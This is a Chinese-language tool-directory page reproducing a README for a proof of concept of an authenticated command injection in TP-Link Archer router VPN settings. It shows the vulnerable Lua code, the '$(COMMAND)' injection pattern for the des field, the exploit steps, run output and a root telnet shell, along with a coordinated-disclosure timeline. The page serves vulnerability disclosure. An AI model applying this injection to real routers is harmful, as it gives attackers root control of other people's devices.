Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-22226 — CVE-2026-22226 的概念验证 | Kitploit
工具/GitHubGitHub/lucasvanhaaren/cve-2026-22226
物联网安全漏洞分析漏洞利用Web应用程序漏洞利用无线安全渗透测试命令与控制
GitHublucasvanhaaren/cve-2026-22226

CVE-2026-22226

CVE-2026-22226 的概念验证

查看仓库
111个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

CVE-2026-22226

CVE-2026-22226 概念验证

TP-Link Archer Wi-Fi 路由器 VPN 客户端中经过认证的局域网侧操作系统命令注入


漏洞概述

VPN 客户端控制器将用户可控的条目描述(des)以较弱的验证正则表达式存储在 UCI 配置中。当该条目随后被读回时(在 WebUI 中编辑时),get_ovpn_data() 会将 des 直接插入到传给 os.execute() 的带引号 shell 命令中,且没有任何净化处理:

root@kitploit:~
-- get_ovpn_data() in vpn.lua

file_ovpn_path_local = string.format("/etc/openvpn/%s%s", des_name, ".ovpn")
cmd = string.format("echo '%s' > %s", file_ovpn_path_local, EXIST_OVPN_CURR_EDIT)
os.execute(cmd)

单引号字符(')能够通过验证正则表达式,足以打破 shell 引号上下文,并通过 $() 替换注入命令。将 des 字段设置为 '$(COMMAND)' 后,命令变为:

root@kitploit:~
echo '/etc/openvpn/'$(COMMAND)'.ovpn' > /tmp/ovpn_curr_edit

请注意,命令输出永远不会在 HTTP 响应中返回,因此该注入是盲注。这就是为什么我们需要一个带外信道(这里的 PoC 脚本会启动一个 telnetd 服务器以获得交互式 shell)。

概念验证

[!Note] 我只在 TP-Link Archer AX73(AX5400,HW v2.0 EU,固件 v1.2.1 - Build 20250717)上测试过此脚本,但其他 Archer 设备很可能也存在漏洞。

此 PoC 按以下流程进行:

  • 以 admin 身份向 LuCI 进行认证
  • 上传一个虚拟的 .ovpn 配置文件
  • 插入一条带有恶意 des 字段的 VPN 客户端条目,转义单引号上下文并通过命令替换注入我们的载荷
  • 通过读回条目触发 get_ovpn_data(),将恶意的 des 输入 os.execute()
  • 清理恶意 VPN 条目(这样以后可以重新运行该利用程序)

[!Warning] 利用此漏洞会导致在路由器上以 root 身份执行操作系统命令(设备被完全入侵),从而绕过允许单引号字符的 des 输入验证。

用法

Python 依赖项在脚本中以行内方式声明,因此你可以使用现代 Python 项目管理器直接运行,或使用 pip 手动安装:

root@kitploit:~
# using pipx
pipx run poc.py
# using uv
uv run poc.py

# using pip (legacy) then run with python
pip install requests pycryptodome
python poc.py
  • 在 poc.py 中设置目标 IP、凭据和载荷

  • 运行脚本:

root@kitploit:~
$ pipx run poc.py
INFO:__main__:TP-Link Archer Exploit PoC
INFO:__main__:Authentication ...
INFO:__main__:Authentication ... OK
INFO:__main__:Uploading .ovpn ...
INFO:__main__:Uploading .ovpn ... OK
INFO:__main__:Inserting VPN entry ...
INFO:__main__:Inserting VPN entry ... OK
INFO:__main__:Triggering command injection ...
INFO:__main__:Triggering command injection ... OK
INFO:__main__:Cleaning up ...
INFO:__main__:Cleaning up ... OK
  • 与启动的 telnetd 服务器交互:
root@kitploit:~
$ telnet 192.168.0.1 1337

BusyBox v1.19.4 (2025-07-17 10:58:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/www # id
uid=0(root) gid=0(root)
/www # uname -a
Linux Archer AX73 4.19.183 #1 SMP PREEMPT Thu Jul 17 10:22:47 CST 2025 armv7l GNU/Linux

时间线

  • 2026-02-18 : 向 TP-Link 报告了该漏洞,并提供了详细报告和概念验证脚本
  • 2026-03-25 : TP-Link 确认收到报告,并表示处理过程可能需要最多 90 天
  • 2026-05-13 : TP-Link 请求额外 30 天时间,我们已同意
  • 2026-05-16 : 分配了 CVE-2026-22226,追踪几天前另一位研究人员在 BE230 上报告的同一漏洞;公开披露日期定为 2026-07-22
  • 2026-06-04 : 发布了修复后的 AX73 固件(v1.3.1)
  • 2026-07-22 : 公开披露

参考资料

  • CVE-2026-22226
  • TP-Link 安全公告
下载工具